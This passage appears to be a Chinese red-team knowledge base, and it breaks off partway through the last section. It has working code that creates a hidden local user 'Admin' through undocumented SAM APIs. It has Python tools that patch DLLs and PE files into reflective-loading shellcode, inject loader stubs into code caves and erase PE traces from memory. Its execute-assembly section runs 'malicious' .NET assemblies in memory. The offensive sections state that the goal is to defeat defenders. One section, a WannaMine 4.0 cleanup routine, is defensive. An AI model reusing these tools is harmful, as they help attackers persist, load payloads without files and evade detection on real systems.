跟踪了一下函数逻辑，发现不同的UserInfo都有不同的处理方法，通常我们会传入一个USERINFO1结构体，这里会把有效信息传入到一个 USER\_ALL\_INFORMATION 结构体里面，这个结构体的实现和Startupinfo有点像，需要同时设置值和使用标签位，阅读发现，有一个结构体单处理密码。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9MGSQuBYpjsfEHENd%2F-MU9OL9sK7eqjtyN3vM5%2Fimage.png?alt=media\&token=bb1c27cb-a68d-45af-9b37-5d48405010b4)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9MGSQuBYpjsfEHENd%2F-MU9OTeKHHwEoU2v2gFa%2Fimage.png?alt=media\&token=f96a4884-ec84-4d19-a267-1b17b427d1c3)

这里我们只需要传入密码，然后将标志位设1。

我们就自己封装出了一个NetUserAdd。

## 完整代码

```
#include "ApiAddUser.h"



int wmain(int argc, wchar_t* argv[])
{
	UNICODE_STRING UserName;
	UNICODE_STRING PassWord;
	HANDLE ServerHandle = NULL;
	HANDLE DomainHandle = NULL;
	HANDLE UserHandle = NULL;
	ULONG GrantedAccess;
	ULONG RelativeId;
	NTSTATUS Status = NULL;
	HMODULE hSamlib = NULL;
	HMODULE hNtdll = NULL;
	HMODULE hNetapi32 = NULL;
	LSA_HANDLE hPolicy = NULL;
	LSA_OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
	PPOLICY_ACCOUNT_DOMAIN_INFO DomainInfo = NULL;
	USER_ALL_INFORMATION uai = { 0 };


	hSamlib = LoadLibraryA("samlib.dll");
	hNtdll = LoadLibraryA("ntdll");

	pSamConnect SamConnect = (pSamConnect)GetProcAddress(hSamlib, "SamConnect");
	pSamOpenDomain SamOpenDomain = (pSamOpenDomain)GetProcAddress(hSamlib, "SamOpenDomain");
	pSamCreateUser2InDomain SamCreateUser2InDomain = (pSamCreateUser2InDomain)GetProcAddress(hSamlib, "SamCreateUser2InDomain");
	pSamSetInformationUser SamSetInformationUser = (pSamSetInformationUser)GetProcAddress(hSamlib, "SamSetInformationUser");
	pSamQuerySecurityObject SamQuerySecurityObject = (pSamQuerySecurityObject)GetProcAddress(hSamlib, "SamQuerySecurityObject");
	pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");

	RtlInitUnicodeString(&UserName, L"Admin");
	RtlInitUnicodeString(&PassWord, L"Admin");

	Status = SamConnect(NULL, &ServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_LOOKUP_DOMAIN, NULL);;
	Status = LsaOpenPolicy(NULL,&ObjectAttributes,POLICY_VIEW_LOCAL_INFORMATION,&hPolicy);
	Status = LsaQueryInformationPolicy(hPolicy, PolicyAccountDomainInformation, (PVOID*)&DomainInfo);

	Status = SamOpenDomain(ServerHandle, 
		DOMAIN_CREATE_USER | DOMAIN_LOOKUP | DOMAIN_READ_PASSWORD_PARAMETERS, 
		DomainInfo->DomainSid, 
		&DomainHandle);

	Status = SamCreateUser2InDomain(DomainHandle,
		&UserName,
		USER_NORMAL_ACCOUNT,
		USER_ALL_ACCESS | DELETE | WRITE_DAC,
		&UserHandle,&GrantedAccess,&RelativeId);

	RtlInitUnicodeString(&uai.NtPassword, PassWord.Buffer);
	uai.NtPasswordPresent = TRUE;
	uai.WhichFields |= USER_ALL_NTPASSWORDPRESENT;


	Status = SamSetInformationUser(UserHandle,
		UserAllInformation,
		&uai);

	return 0;
}
```

## LINKS

{% embed url="<https://doxygen.reactos.org/d2/d5b/dll_2win32_2netapi32_2user_8c.html#a854f5ebc802849632ccda207250e7b04>" %}


# WannaMine4.0专杀的一些技巧

## 简介

今年我们这破地方的卫生系统又双叒叕爆发内网病毒了，这篇文章是记录病毒清理的一个思路，主要是对踩的一些坑的记录，本文仅对木马最后的执行体做查杀，这个病毒是基于WannaCry勒索的变种，仅将最后释放的执行体做了更改。

首先我们需要看一下这个病毒的分析，由于这种病毒已经有师傅做过详尽的分析，这里直接照搬[WPeace](https://bbs.pediy.com/user-home-906228.htm)师傅的流程图。

![流程图](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MLGQnfcHMNvN-C2_QXs%2F-MLGRAMUuBKf-Z4PSeZJ%2Fimage.png?alt=media\&token=7955c2e0-8693-46bc-a72f-77eed4964e95)

## 查杀思路

病毒首先注册污点注册表释放一个随机固定单词组合的一个服务dll，然后注册一个系统服务用svchost.exe带起这个恶意dll，这个注册表键值对里会写入服务名和dll路径和服务的描述信息，这里我们可以直接读取这个键值来获取服务名。(有一说一，有些专杀通过枚举单词组合来确定服务是真的蠢。)

> 字符串1列表：Windows、Microsoft、Network、Remote、Function、Secure、Application
>
> 字符串2列表：Update、Time、NetBIOS、RPC、Protocol、SSDP、UPnP
>
> 字符串3列表：Service、Host、Client、Event、Manager、Helper、System

```
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\NetworkPlatform\Location Awareness
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MLGRMMFzPdKc2MULIed%2F-MLGSRRc83b5K5eK-SFr%2Fimage.png?alt=media\&token=30bbef05-0182-4a61-964e-06aa8be3a9dc)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MLGRMMFzPdKc2MULIed%2F-MLGSFO_0tCIBB5-C2ti%2Fimage.png?alt=media\&token=30736116-6e1c-4a8d-bfab-7a35020ed504)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MLGSsFXwy6rmqHB8lAk%2F-MLGT4kV5rM0jYXDsHRT%2Fimage.png?alt=media\&token=f3a42ab5-aebb-4b93-a5aa-db7566bb260d)

```
	BOOL bRet = EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME);
	if(bRet){
		printf("[+]Enbale DebugPrivileges successful\n");
	}else	{
		printf("[-]Can not Enbale DebugPrivileges successful\n");
	}
	bRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\NetworkPlatform\\Location Awareness", 0, KEY_ALL_ACCESS, &hKey);
	if(!bRet){
		printf("[+]Open Key successful\n");
	}else	{
		printf("[-]Can not Open Key successful\n");
	}
	LONG lResult = RegQueryValueExA(hKey,"LastBackup" , NULL, &dwType,
           NULL, &dwSize);
    if (lResult == ERROR_SUCCESS)
       {        
           lResult = RegQueryValueExA(hKey, "LastBackup", NULL, &dwType,
                (LPBYTE)buffer, &dwSize);
            
    }
	if(!lResult){
		printf("[+]Query Key Value successful\n");
	}else	{
		printf("[-]Can not Query Key Value successful\n");
	}
```

根据多次调试，跑沙箱，发现这个病毒的流程并不固定，它可能会带起各种各样的进程，如果我们不结束这些进程就无法用常规的方法删除他们，当然也可以干掉启动项，然后重启删除他们，但这样会对业务产生影响，这里使用了结束进程树的方式，结束进程树可以干掉所有由父进程带起来的子进程以及子进程的子进程。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MLGT7eyDX0Bgi_kSJ86%2F-MLGTqP0G08kMq-8v4V4%2Fimage.png?alt=media\&token=ed727cd6-93c4-46ec-9e30-0567cf6940de)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MLGT7eyDX0Bgi_kSJ86%2F-MLGa-jgXtR321wo9dfn%2Fimage.png?alt=media\&token=f5d802c0-87ba-44e2-8417-d4689e7d6e9f)

只要我们结束了最上级进程，那它下属的所有进程都会被结束(结束进程树)，这样我们就有两种思路：

1. 定位其中一个进程查找可结束的最上级进程，之前[fuck-eventlog](/defense-evasion/fuck-eventlog)的时候用过类似方法(这里是服务，所有windows服务都是由services进程带起的，所以查找到父进程是services.exe就代表这个进程是可结束的最上级进程)。
2. 通过服务名定位服务进程实例(由于这个病毒是用服务带起来的所以，本文采用这种方法)。

方法2使用QueryServiceStatusEx函数来定位服务的实例进程，需要指定查询等级为SC\_STATUS\_PROCESS\_INFO，这样这个函数会返回一个名为SERVICE\_STATUS\_PROCESS的结构体，这个结构体的dwProcessId成员就是改服务实例化的进程id。

```
typedef struct _SERVICE_STATUS_PROCESS {
  DWORD dwServiceType;
  DWORD dwCurrentState;
  DWORD dwControlsAccepted;
  DWORD dwWin32ExitCode;
  DWORD dwServiceSpecificExitCode;
  DWORD dwCheckPoint;
  DWORD dwWaitHint;
  DWORD dwProcessId;
  DWORD dwServiceFlags;
} SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS;
```

现在我们就通过windows的services api定位，代码如下:

```
void KillProcessTree(DWORD dwProcessId) {

    PROCESSENTRY32 pe = { 0 };
    pe.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Process32First(hSnap, &pe)) {
        do {
            if (pe.th32ParentProcessID == dwProcessId)
                KillProcessTree(pe.th32ProcessID);
        } while (Process32Next(hSnap, &pe));
    }


    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (hProc) {
        TerminateProcess(hProc, 1);
        CloseHandle(hProc);
    }
}
	
	bRet = QueryServiceStatusEx(
        hService,           
        SC_STATUS_PROCESS_INFO,   
        (LPBYTE)&ssStatus,           
        sizeof(SERVICE_STATUS_PROCESS),
        &outSize);

	if(bRet){
		printf("[+]Query ServiceStatus successful\n");
	}else	{
		printf("[-]Can not Query ServiceStatus successful\n");
	}
	if(ssStatus.dwProcessId!=0){
		KillProcessTree(ssStatus.dwProcessId);
	}

	bRet = DeleteService(hService);
```

最后就是简简单单的删文件删注册表删服务了。

```

	bRet = DeleteService(hService);
	if(bRet){
		printf("[+]Delete Service successful\n");
	}else	{
		printf("[-]Can not Delete Service successful\n");
	}

	printf("[*]Deleting malware file ......\n");
	char ServiceDllPath[MAX_PATH]={0};
	memcpy(ServiceDllPath,buffer,strlen(buffer));
	sprintf_s(buffer, "del %s /Q /F\n", ServiceDllPath);
    system(buffer);
	for (size_t i = 0; i < sizeof(strings) / MAX_PATH; i++)
    {
          sprintf_s(buffer, "del %s /Q /F\n", strings[i]);
          system(buffer);
    }
	printf("[+]Delete malware file successful!\n");
	RegCloseKey(hKey);
	CloseServiceHandle(hSCM);
	CloseServiceHandle(hService);
```

## LINKS

{% embed url="<https://www.freebuf.com/articles/terminal/198891.html>" %}

{% embed url="<https://bbs.pediy.com/thread-263127.htm>" %}


# ReflectiveDLLInjection变形应用

## 简介

反射注入(ReflectiveInjection)这种技术也出来好多年了，实现原理大致是不依赖windows提供的loadlibrary函数，程序设计者自己在程序内实现pe的内存展开，由于是自己实现，所以不会在操作系统中有所记录，以及可以对展开的pe文件做一些处理如抹除DOS头，同时不会在peb的ldr链表中记录，发展至今反射注入几乎已经是所有c2的标配技术，github也有非常成熟的项目可供使用，不过由于使用量较大，建议还是简单修改一下再投入实战比较好。

下面写的东西和上面的描述有关系(dog头)，可能有的渗透测试工作者不熟悉反射加载的原理，但你一定用过它，较为知名的msf和cs也大量使用这种技术，说是c2的基础技术也不为过，这篇文章会介绍两个应用方式，以及一些优化的思路，以供我们更好的吊打蓝队。

## DLL自加载

在cs的资源文件中所有dll都带有自加载能力，所有beacon的扩展功能几乎都是这样实现的(如mimikatz)，cs将其称之为可修补的dll，它的原理是在不改变MZ标志的情况下把整个dll文件修补成可被当作shellcode加载的格式，具体的操作为在dll内导出自加载函数(ReflectiveLoader)然后讲MZ头起始字节修改成执行ReflectiveLoader函数的硬编码。

### 流程

1. 将ReflectiveLoader库编译进DLL内。
2. 不破坏MZ标志将DOS头改造成执行ReflectiveLoader函数的shellcode。

### 原理

现今仍在使用的DOS结构成员只有标识PE文件的MZ标志和指向PE头的e\_lfanew,其他我们随意修改不会影响这个PE文件的正常运行。

我们不能破坏PE结构也就是DOS头内的MZ标志，如果我们要把dll处理成shellcode，那么MZ标志就要被当作是代码执行。

我们将MZ的机器码转换成汇编指令，这里以X86为例，文章末尾也会给出X64的代码。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MO4TOr21Cb_4gfPxsZJ%2F-MO4XejWu1CpOw81yvj8%2Fimage.png?alt=media\&token=5f49d75d-11a6-47b0-a9e0-b005cb158549)

可以看到MZ对应的汇编代码是↓，我们需要消除这两条指令的影响。

```
dec ebp                  ;ebp -1
pop edx                  ;edx=[esp] esp+4
//恢复环境
inc ebp                  ;ebp +1
push edx                 ;esp-4 [esp]=edx
```

然后需要将执行指针(eip/rip)指向ReflectiveLoader。

```
call 0                   ;获取下一条指令的内存地址
pop edx                  ;将下一条指令出栈给edx
add edx,<FuncOffset-0x09>;计算ReflectiveLoader函数在内存中的位置
push ebp
mov ebp, esp             ;切换堆栈
call edx                 ;调用ReflectiveLoader
```

修补过后↓，这里代码使用<https://github.com/rapid7/ReflectiveDLLInjection>。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MO5LPi6QQMHZ-WuI-b5%2F-MO5LoomXxkFp6vr-63H%2Fimage.png?alt=media\&token=08dba2a5-e5c2-4d77-9c3d-07d9b9553986)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MO4lxC1kQUkeY9hbLZG%2F-MO4os-doaTuQjEFQ_5g%2Fimage.png?alt=media\&token=4a6fec0b-a3a4-45ca-95eb-3cf88080d15a)

x64:

```
41 5a                   ;pop r10
41 52                   ;push r10
e8 00 00 00 00          ;call 0
5b                      ;pop rbx
48 81 c3 09 00 00 00    ;add rbx, 0x09
55                      ;push  rbp
48 89 e5                ;mov rbp, rsp
ff d3                   ;call rbx
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MOF5syBdru2SPCe_Sg-%2F-MOF8uWJIMfEwCXVI8Ri%2Fimage.png?alt=media\&token=34c9cc8e-e2da-49a3-9f56-26f02353d52d)

### 代码

```
import sys
import pefile
from struct import pack

def help():
    print("usage: python3 <DllPath> <FuncName>\n")

def get_func_offset(pe_file,func_name):
    if hasattr(pe_file,'DIRECTORY_ENTRY_EXPORT'):
        for export in pe_file.DIRECTORY_ENTRY_EXPORT.symbols:
            if func_name in str(export.name):
                func_rva = export.address
                break

    if func_rva == 0:
        help()
        print("[-] not found function offset in file")
        sys.exit(0)

    offset_va = func_rva - pe_file.get_section_by_rva(func_rva).VirtualAddress
    func_file_offset = offset_va + pe_file.get_section_by_rva(func_rva).PointerToRawData
    func_file_offset -= 9 
    
    return bytes(pack("<I",func_file_offset))

def get_patch_stub(pe_file,func_offset):

    if pe_file.FILE_HEADER.Machine == 0x014c:
        is64 = False
    elif pe_file.FILE_HEADER.Machine ==0x0200 or pe_file.FILE_HEADER.Machine ==0x8664:
        is64 =True
    else:
        print("[-]unknow the format of this pe file")
        sys.exit()

    if is64:
                stub =(
                b"\x4D\x5A"
                b"\x41\x52"
                b"\xe8\x00\x00\x00\x00"
                b"\x5b"
                b"\x48\x81\xC3" + func_offset +
                b"\x55"
                b"\x48\x89\xE5"
                b"\xFF\xD3"
                );

    else:
                stub = (
                b"\x4D"
                b"\x5A"
                b"\x45"
                b"\x52"
                b"\xE8\x00\x00\x00\x00"
                b"\x5A"
                b"\x81\xC2" + func_offset +
                b"\x55"
                b"\x8B\xEC"
                b"\xFF\xD2"
                );
    return stub;

def patch_dll(pe_path,func_name):
    try:
        pe_file =pefile.PE(pe_path)
    except e:
        print(str(e))
        help()
        sys.exit()

    
    func_offset = get_func_offset(pe_file,func_name)
    patch_stub = get_patch_stub(pe_file,func_offset)
    

    filearray = open(pe_path,'rb').read()
    print("[+] loaded nameof %s"% (pe_path))

    patch_dll_file = patch_stub + filearray[len(patch_stub):]
    print("[+] patched offset %s" % (func_offset.hex()))

    patch_dll_name = "patch-" +pe_path
    open(patch_dll_name,'wb').write(patch_dll_file)
    print("[+] wrote nameof %s"% (patch_dll_name))
    
if __name__ == '__main__':
    a = len(sys.argv)
    if len(sys.argv) != 3:
        help()
        sys.exit(0);
    pe_path = sys.argv[1]
    func_name =  sys.argv[2]
    patch_dll(pe_path,func_name)

```

### 优化

我们看到反射加载的DLL在内存中还是会存在很明显的PE格式文件特征，接下来我们尝试把他的PE特征抹掉。(涉及项目，修改后的反射代码就不贴了)。

优化前。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MO6wDYBICU9InOtKAty%2F-MO6wHHQxo3K_UZioA_J%2Fimage.png?alt=media\&token=7af478c1-1be6-4d93-b05d-3c4e40fe78cb)

优化后。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MO6wDYBICU9InOtKAty%2F-MO6wk-czspxb6RZQVf5%2Fimage.png?alt=media\&token=39177dd9-99b7-4450-b7fd-adeb32647571)

聪明的你应该已经想到我做了什么(狗头)。

## PE->SHELLCODE改造

### 追加->思路

上面的操作大概是这样的↓，学过shellcode开发的朋友可能知道，如果我们直接在DLL文件内编写加载函数是不能使用一些编写语法的如字符串、函数、CRT之类的东西的，就算要用系统函数也不能直接调用，前面我们使用的[ReflectiveDLLInjection](https://github.com/rapid7/ReflectiveDLLInjection)项目中ReflectiveLoader函数源码其实是经过特殊处理的，它遵循shellcode的开发限制，把所有东西都编译到一起，也避免了所有字符串和依赖的限制，保证了的编译出来的代码在任意环境下都能使用，也就是这段代码抠出来是能直接使用的，如果我们编写一个可修补的dll比较麻烦，我们也可以利用这段反射加载的shellcode来对已有PE文件进行改造。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MOAKmSH6FKSxq9zTiNE%2F-MOAMxFghRW6LY8rHzcb%2Fimage.png?alt=media\&token=e1391c5b-bd34-4d26-ae00-2c8e07ed9e04)

改造思路：

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MOANyHWyOT5O3AyJOxM%2F-MOAQ29I3d4KMizv5Dj7%2Fimage.png?alt=media\&token=45646742-f81a-4d34-b38f-4308fcc4cb13)

这种技术已经有比较成熟的开源项目[pe\_to\_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)，这个老哥用汇编实现了一个反射加载的stub(太硬核了)，同样我们也用上一种应用的思路对这个stub进行优化，加载后抹除PE的特征，在这个基础上，我们可以快速对一个已有的功能模块进行修补。

[pe\_to\_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)项目中给出的汇编编写的ReflectiveLoader函数不需要像rapid7给出的反射库一样切换堆栈，但是需要压栈传入pe文件所在位置。

由于不需要切换堆栈(切换堆栈的机器码不同位数有差异)，就可以统一不同位数程序的bootstrap。

![x64](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MONwKKQGxecsrrVQ13S%2F-MONxFY8ozRUQ77oxNlD%2Fimage.png?alt=media\&token=9bb3e4af-9e09-4003-bc31-43f5e5e419df)

![x86](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MONwKKQGxecsrrVQ13S%2F-MONxc-FDQz5cQnYXGbT%2Fimage.png?alt=media\&token=381a6465-91fa-492d-a279-03113b0f8dbf)

### 代码

```
    b"\x4d"+
		b"\x5A" +#pop edx
		b"\x45" +#inc ebp
		b"\x52" +#push edx
		b"\xE8\x00\x00\x00\x00" +#call <next_line>
		b"\x5B" +# pop ebx
		b"\x48\x83\xEB\x09" +# sub ebx,9
		b"\x53" +# push ebx (Image Base)
		b"\x48\x81\xC3" +# add ebx,
		pack("<I",func_offset) +# value
		b"\xFF\xD3" +# call esp
		b"\xc3" # ret
```

```
def addit_pe(pe_path):
    pe_file = get_pe_load(pe_path)

    pe_file_array = open(pe_path, 'rb').read()
    print("[+] loaded nameof %s" % (pe_path))

    addit_bootstrap = get_inject_bootstrap(pe_file,len(pe_file_array))

    if get_pe_bit(pe_file):
        addit_stub = open('resources/stub64.bin', 'rb').read()
    else:
        addit_stub = open('resources/stub32.bin', 'rb').read()

    patch_pe_file = addit_bootstrap + pe_file_array[len(addit_bootstrap):] + addit_stub
    print("[+] patched offset %d" % (len(pe_file_array)))

    patch_pe_name = "patch-" + pe_path
    open(patch_pe_name, 'wb').write(patch_pe_file)
    print("[+] wrote nameof %s" % (patch_pe_name))

```

### 优化->注入->思路

上面的实现方式会对PE文件本身的大小产生影响，在哪年的黑帽大会上有一位究极老师傅公开过一种PE注入技术(还有武器化的工具)，原理是利用编译过程中产生的code caves(编译过程文件对齐产生的空字节区)，在这些区域插入loader stub，就可以避免改造后的PE文件体积增大，不过需要注入代码洞的大小不能小于loader stub的大小。

看上去是这样的:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MOAQpSE6z8dHL3sosX2%2F-MOASnm-W83YyGcFFv6L%2Fimage.png?alt=media\&token=da8c4b87-7f97-410d-859c-914e413cc77f)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MOAVyn-yxNBYV9Y9b67%2F-MOAWbCTENVaQ4-K5OMl%2Fimage.png?alt=media\&token=f31f1c8c-6bdd-4615-8615-a1787f7ca89b)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MOAVyn-yxNBYV9Y9b67%2F-MOAXB0X695zShDOOXND%2Fimage.png?alt=media\&token=2ce6da64-e58f-48a9-b733-d050cc1e97d3)

### 代码

```
import sys
import pefile
from struct import pack


def help():
    print("usage: python3 <PePath>")

def get_pe_bit(pe_file):
    if pe_file.FILE_HEADER.Machine == 0x014c:
        is64 = False
    elif pe_file.FILE_HEADER.Machine ==0x0200 or pe_file.FILE_HEADER.Machine == 0x8664:
        is64 =True
    else:
        print("[-]unknow the format of this pe file")
        sys.exit()

    return is64

def get_patch_stub(pe_file,func_offset):


    stub = (
    b"\x4d"+
		b"\x5A" +#pop edx
		b"\x45" +#inc ebp
		b"\x52" +#push edx
		b"\xE8\x00\x00\x00\x00" +#call <next_line>
		b"\x5B" +# pop ebx
		b"\x48\x83\xEB\x09" +# sub ebx,9
		b"\x53" +# push ebx (Image Base)
		b"\x48\x81\xC3" +# add ebx,
		pack("<I",func_offset) +# value
		b"\xFF\xD3" +# call esp
		b"\xc3" # ret
                );
    return stub;

def patch_pe(pe_path):
    try:
        pe_file =pefile.PE(pe_path)
    except e:
        print(str(e))
        help()
        sys.exit()

    patch_size = 0
    patch_location = 0

    if get_pe_bit(pe_file):
        reflective_stub = open('stub64.bin','rb').read()
    else:
        reflective_stub = open('stub32.bin','rb').read()
    
    cave_size=len(reflective_stub);

    for section in pe_file.sections:
        section_cave_size = section.SizeOfRawData - section.Misc_VirtualSize
        section_cave_location  =section.Misc_VirtualSize + section.PointerToRawData
        print("[+] looking for a codecave in %s sizeof %d  offset of %x" % (section.Name,section_cave_size,section_cave_location))
        if section_cave_size > cave_size:
            patch_size=section_cave_size
            patch_location = section_cave_location
            break

        if patch_size ==0:
            print("[-] not enough size code cvae found ")
            help()
            sys.exit()

    patch_stub = get_patch_stub(pe_file,patch_location)

    pe_file_array = open(pe_path,'rb').read()
    print("[+] loaded nameof %s"% (pe_path))

    patch_pe_file = patch_stub + pe_file_array[len(patch_stub):patch_location] + reflective_stub +pe_file_array[patch_location+len(reflective_stub):]
    print("[+] patched offset %x" % (section_cave_location))

    patch_pe_name = "patch-" +pe_path
    open(patch_pe_name,'wb').write(patch_pe_file)
    print("[+] wrote nameof %s"% (patch_pe_name))
            
if __name__ == '__main__':
    a = len(sys.argv)
    if len(sys.argv) != 2:
        help()
        sys.exit(0);
    pe_path = sys.argv[1]
    pe_path= "runshc32.exe"
    patch_pe(pe_path)

```

## LINKS

{% embed url="<https://wbglil.github.io/2020/03/27/%E5%85%B3%E4%BA%8E%E5%8F%8D%E5%B0%84dll%E4%BF%AE%E8%A1%A5/>" %}

{% embed url="<https://github.com/rapid7/ReflectiveDLLInjection>" %}


# Execute-Assembly实现

## 简介

cs实现了在非托管程序中加载.net程序集的功能，该功能使我们的恶意.net程序集不落地在内存中执行，这个实质是当前进程通过com接口初始化(公共语言运行时)CLR环境，本文尝试对该功能进行复现。

> ### ICLRMetaHost 接口&#x20;
>
> 提供一些方法，这些方法基于公共语言运行时的版本号返回特定版本的公共语言运行时 () ，列出所有已安装的 Clr，列出在指定进程中加载的所有运行时，发现编译程序集所用的 CLR 版本，退出使用干净运行时关闭的进程，以及查询旧的 API 绑定。
>
> GetRuntime 方法\
> 获取与特定 CLR 版本相对应的 ICLRRuntimeInfo 接口。 此方法取代了与STARTUP\_LOADER\_SAFEMODE标志一起使用的CorBindToRuntimeEx函数。
>
> ### ICLRRuntimeInfo 接口
>
> 接口 提供一些方法，这些方法可返回有关特定公共语言运行时 (CLR) 的信息，包括版本、目录和加载状态。 此接口还提供了特定于运行时的功能，而无需初始化运行时。 它包括运行时相对 LoadLibrary 方法、运行时模块特定的 GetProcAddress 方法和通过 GetInterface 方法提供的运行时提供的接口。
>
> GetInterface 方法\
> 将 CLR 加载到当前进程并返回运行时接口指针，如 ICLRRuntimeHost、 ICLRStrongName 和 IMetaDataDispenser。 此方法将取代所有 CorBindTo\* 函数。
>
> ### ICLRRuntimeHost 接口&#x20;
>
> 提供与 .NET Framework 版本1中提供的 ICorRuntimeHost 接口类似的功能，其中包含以下更改： 用于设置宿主控件接口的 SetHostControl 方法的添加。 省略提供的某些方法 ICorRuntimeHost 。
>
> Start 方法\
> 将 CLR 初始化为一个进程。
>
> ExecuteInDefaultAppDomain 方法 在指定的程序集中调用指定类型的指定方法。

## 流程A(硬盘加载)

1. 初始化ICLRMetaHost接口。
2. 通过ICLRMetaHost获取ICLRRuntimeInfo接口。
3. 通过ICLRRuntimeInfo将 CLR 加载到当前进程并返回运行时接口ICLRRuntimeHost指针。
4. 通过ICLRRuntimeHost.Start()初始化CLR。
5. 通过ICLRRuntimeHost.EecuteInDefaultAppDomain执行指定程序集(硬盘上)。

## 实现

{% tabs %}
{% tab title="unmanaged.cpp" %}

```cpp
#include <metahost.h>
#pragma comment(lib, "mscoree.lib")

int main()
{
    ICLRMetaHost* iMetaHost = NULL;
    ICLRRuntimeInfo* iRuntimeInfo = NULL;
    ICLRRuntimeHost* iRuntimeHost = NULL;

    //初始化环境
    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);
    iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&iRuntimeInfo);
    iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&iRuntimeHost);
    iRuntimeHost->Start();

    //执行
    iRuntimeHost->ExecuteInDefaultAppDomain(L"C:\\Users\\Black Sheep\\source\\repos\\HostingCLR\\TEST\\bin\\Debug\\TEST.exe", L"TEST.Program", L"print", L"test", NULL);

    //释放
    iRuntimeInfo->Release();
    iMetaHost->Release();
    iRuntimeHost->Release();

    return 0;
};
```

{% endtab %}

{% tab title="managed.cs" %}

```csharp
using System;

namespace TEST
{
    class Program
    {
        static int Main(String[] args)
        {

            return 1;
        }
        static int print(String strings)
        {
            Console.WriteLine(strings);
            return 1;
        }
    }
}
```

{% endtab %}
{% endtabs %}

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MNvHrA0yEI_Sx0P_hZo%2F-MNvMWTC84fyVNsdTn8j%2Fimage.png?alt=media\&token=d8dc7b5e-f710-4f4a-80c0-6399d0055994)

## 流程B(内存加载)

1.初始化CLR环境(同上)

```
	CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
	iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
	iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
	iRuntimeHost->Start();
```

2.通过ICLRRuntimeHost获取AppDomain接口指针，然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针。

```
	iRuntimeHost->GetDefaultDomain(&pAppDomain);
	pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
```

3.通过默认应用程序域实例的Load\_3方法加载安全.net程序集数组，并返回Assembly的实例对象指针，通过Assembly实例对象的get\_EntryPoint方法获取描述入口点的MethodInfo实例对象。

```
	saBound[0].cElements = ASSEMBLY_LENGTH;
	saBound[0].lLbound = 0;
	SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);

